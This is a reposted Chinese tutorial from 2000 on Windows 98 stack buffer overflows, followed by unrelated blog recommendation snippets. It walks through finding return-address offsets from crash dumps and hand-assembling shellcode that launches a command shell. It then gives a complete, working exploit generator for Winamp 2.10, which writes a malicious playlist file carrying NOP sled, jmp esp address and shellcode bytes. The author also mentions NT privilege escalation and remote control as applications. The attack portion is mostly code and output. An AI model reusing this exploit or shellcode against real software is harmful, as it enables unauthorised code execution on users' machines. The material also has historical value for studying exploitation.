【原理+实战】window系统下的堆栈溢出

系统在此应用程序中检测到基于堆栈的缓冲区溢出。溢出可能允许恶意用户获得此应用程序的控制。 windows操作系统遇到报错:系统在此应用程序中检测到基于堆栈的缓冲区溢出。溢出可能允许恶意用户获得此应用程序的控制。怎么解决? 阅读详情
window系统下的堆栈溢出

作者:ipxodi<< mailto:ipxodi@263.net >>
日期:2000-05-23

◆原理篇

这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的
堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#include <stdio.h>

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("//0x%x",name[i]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序
一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击
详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息
按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算
一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name变量
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址
是多少呢?

通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为
0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在windows
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都
是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测,
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个
dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。
但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说,
windows通过动态链接库来提供系统函数。这就是所谓的Dll's。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个
包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个
基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地址
只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接库
msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码
是否能够像我们设计的那样工作:

#include <windows.h>
#include <winbase.h>

void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾/0字符。
sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了
当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的
程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算
偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出
的能力了,下面,我们通过实战来真正掌握他。



◆溢出字符串的设计

我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算
偏移地址,以及如何编写一个shellcode以得到dos。

但是这远远不够。

大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。
事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址
和堆栈指针都会含有0,那么我们的返回地址就必然含有0。

现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode
由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确
的放在确切的函数堆栈中的ret位置。

事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。

其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充
(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!
----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??

所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区
溢出发生之后,堆栈的布局如下:

内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部

看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。

但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,
根本无法到shellcode。我们需要把A改成不包含0的地址。

好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,
又可以不包含0字节呢?

大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?
他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转
的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新
的windows缓冲区溢出的思路。

思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话
A里面必然含有0。我们知道系统核心的dll都是在2-4G,也就是从0x80000000到
0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。
因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的
作用就是call/jmp 我们的shellcode。

但是他怎么才能知道我们的shellcode的地址呢?

答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,
其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。
比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode
的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call [ebp+4]或者
我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。
这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和
堆栈的详细资料。

那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次都在
内存中可以直接调用呢?

答案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.
这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。
你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序
自己的import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够了。

好,那么我们的shellcode最终为:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N为NOP指令
A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存>0x80000000,
这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。
S:shellcode。

有了这些基础知识,我们来分析一个实例。

大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度
如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。
test.cpp
----------------------------------------------------------------------------
#include <stdio.h>

int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;

}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。
我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试
最长为26^3的串,足够了。

编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:

WINAMP 在 00de:4c574141 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:

Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141

根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置为580。

大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该
让他使用什么call/jmp指令以达到shellcode呢?

看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的
第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令:
jmp ESP 就可以执行我们的shellcode了。

现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF E4.
因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们
搜索s Bf000000 L ffffffff ff,e4
得到了哪些结果?

一堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏:
Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。
ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节:
"/xa3/x95/xf7/xbf".这就是我们的溢出字符串中的返回地址A。

好了,现在溢出字符串已经基本分析完了,就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是:

LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很简单,是不是?下面是汇编代码:

首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是开一个dos窗口:
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后执行exit,退出来。

push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]

简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit,必须加载这个库。而winamp没有import这个库,
所译我们需要自己加载。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中,是被winamp加载了的dll。我的机器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用两条指令来完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

编译,找出二进制code:
shellcode:
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

好了,所有的算法都讨论完了,下一讲我们就来实现一个exploit





◆最后的完善

我们把前面写的测试程序稍加改动就是一个exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#include <stdio.h>

int main()
{


char buffer[640];
char eip[8] = "/xa3/x95/xf7/xBF";
char shellcode[256] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------

OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
就应该出一个dos。出来了吗?

哎呀,怎么又是错误?

WINAMP 在 017f:004200c3 的模块
WINAMP.EXE 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090

看看出错信息,EIP是4200c3,看来已经开始执行我们的shellcode了,怎么会有
无效页错误呢?看来我们的shellcode有问题。

这个时候,s-ice就又派上用场了,跟踪一下看看:
ctrl-d
bpx bff795a3(就是我们的jmp esp)
x
好,现在运行winamp,打开文件crash.pls,被s-ice拦下,开始跟踪。一个jmp esp
之后,就到了我们的shellcode上,继续执行,看到了什么吗?

奇怪!我们的shellcode变短了,到B8249801,后面就没有了。这是怎么回事?
应该是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?

看来敌人把输入的溢出字符串作乐处理,把不能作为文件名的字符都作为0处理了
(事实上这是win32api函数作的处理)。我们的shellcode被截断了。

我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换shellcode,
去掉那些有问题的字符:/x01

我们作如下替换:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
汇编得到:

xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF
/x2d/xdB/x67/xFe/x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf

* modify by ipxodi 20-01-2k

* for windows98 the 2nd version and for a new shellcode.

* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)

* ipxodi@263.net
*/

#include <stdio.h>

int main()
{

char buffer[640];
char eip[8] = "/xa3/x95/xf7/xbf";
char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}


OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
结果如下,我可爱的dos出来了:

Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.

D:/hacker/document/ipxodi>dir
.........................
........就不贴了.........


总结:

经过这次实战的演练,大家一定对windows下的buffer overflow有了很深的掌握了。
我们可以看到,windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,
由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows
环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。这也
是我在写完linux下的堆栈溢出系列之后,另外写windows系列的原因。

另外,大家从破解的过程中,可以发现我一再强调windows的版本。事实上,这
也导致了windows下的exploit不具有通用性。大家的windows版本不一,
而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有
关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)
不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同
语言版本的windows,其核心dll的版本都不同。用户的dll一变更,
那么,我们的exploit里面的shellcode就要重新写。

为了解决这个问题,我想我们可以尽量减少固定地址的使用。即,使用
GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了
我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的
函数,自然就导致了对kernel32.dll版本的依赖。

这里奉劝大家,当你写的exploit发生无效页错误时,不要灰心。运行sice,
跟踪你的shellcode,会发现问题的根源的。

因此,这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0
的exploit总是没有成功,client端执行完了以后server端我们经常看到
access violation的框,就是因为shellcode的版本依赖问题导致的。

所以,对于windows下的堆栈溢出exploit,必须公开原代码,才能由其他人完成
别的版本的修改,这一点,大家以后公布exploit时,要记住。

说一句题外话:
很多人运行了堆栈溢出exploit以后没有成功,就认为自己的机器没有毛病。
对此,dark spyrit AKA Barnaby Jack曾有这样的建议:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.

以前咱们水木黑客版97年堆栈溢出大讨论的时候,rainer就很高水平的探讨过
windows下的buffer overflow。他的文章现在还在,大家可以去精华区看看。
不过当时只是探讨原理,还停留在堆栈溢出的可行性,远没有探讨利用他来攻击。
我也曾经以为windows的堆栈溢出攻击是不必要的。

后来,NT的中普通用户获取admin,我想到过仿照UNIX,搞缓冲区溢出攻击。
因为NT里面有很多系统进程,都是以system账号启动的。如果我们可以将它们
overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),将拥有
超级用户的权限。当然可以为所欲为了。

这只是windows NT下堆栈溢出攻击的一个应用。去年,我研究IIS4.0的溢出之后,
发现带有问题的windows网络服务程序导致了windows堆栈溢出,可以帮助我们
获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击
手段。

在后续的研究中,有时候因为困难几乎要放弃。好在有小懒虫(sysword),
小四(hellguard),康师傅(kxn)这些网友
给我的督促和帮助。在此感谢,同时感谢以前一起讨论过windows系列堆栈溢出
的朋友littleworm,xsz它们。

最后,我希望我的讲座作为抛砖引玉,能够引发大家更深入的探讨。希望大家在
看了之后,能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的
算法,或者发现新的exploit,就真正是光大了我们黑客版的精神。

让我们以下面这句话共勉:
"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."

-Noam Chomsky
✨从零搭建 Ubuntu22.04 + Python3.11 + PyTorch2.5.1 GPU Docker 镜像并上传 Docker Hub 构建一个带 GPU 支持的深度学习开发镜像;使用 PyTorch 2.5.1(CUDA 12.4)环境;发布并托管 Docker 镜像至 Docker Hub;验证 GPU 环境正常运行!🎉 这将极大提升你的项目部署效率,尤其是在多人协作或跨平台部署场景中。 阅读详情

相关推荐

如何适配自定义激光雷达数据到LIO-SAM:解决ring和time参数缺失问题

本文详细解析了如何将非标准激光雷达(如速腾、Livox)适配到LIO-SAM框架中,重点解决ring和time参数缺失问题。提供了从源码修改到通用适配中间件的多层级解决方案,并包含实机测试与性能调优指南,帮助开发者高效完成雷达数据适配。

weixin_42551227的博客 421

Windows系统弹出:“系统在此应用程序检测到基于堆栈的缓冲区溢出,如何解决?“解决办法

按 “Windows 徽标键+R”,输入 “msconfig”,回车启动系统配置页面。点击 “服务”>“隐藏所有 Microsoft 服务”,点击 “全部禁用”。鼠标右击任务栏,启动任务管理器。点击 “启动” 选项卡,将所有的启动项全部禁用。通过开始菜单重启设备 (请选择重启设备,不要选择关机后再开机)。执行完毕后重启设备,查看问题是否解决。

daijingxin的博客 4万+

基于OFDM的实时图像传输系统MATLAB仿真:MPSK与MQAM调制性能对比与误码率分析

本文详细介绍了基于OFDM的实时图像传输系统在MATLAB中的仿真实现,重点对比了MPSK与MQAM调制方式的性能差异与误码率分析。通过搭建OFDM系统模型,探讨了QPSK和16QAM在不同信道条件下的表现,包括频谱效率、抗噪能力和误码率等关键指标。文章还提供了MATLAB代码示例和实用技巧,帮助读者快速掌握OFDM图像传输系统的核心算法与优化方法。

weixin_29064009的博客 355

【windows折腾日记】解决电脑提示系统错误弹窗:系统在此应用程序中检测到基于堆栈的缓冲区溢出

